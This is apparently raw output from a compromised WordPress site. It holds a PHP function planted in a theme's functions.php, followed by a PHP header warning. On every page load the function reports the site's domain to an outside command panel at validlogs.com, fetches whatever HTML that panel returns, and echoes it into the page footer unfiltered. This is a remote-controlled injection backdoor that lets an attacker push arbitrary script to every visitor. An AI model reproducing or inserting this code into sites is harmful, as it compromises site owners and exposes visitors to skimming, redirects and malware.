function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /srv/users/amgcao1/apps/amgcao1/public/wp-content/themes/twentytwentythree/functions.php:1) in <b>/srv/users/amgcao1/apps/amgcao1/public/wp-includes/pluggable.php</b> on line <b>1531</b><br />
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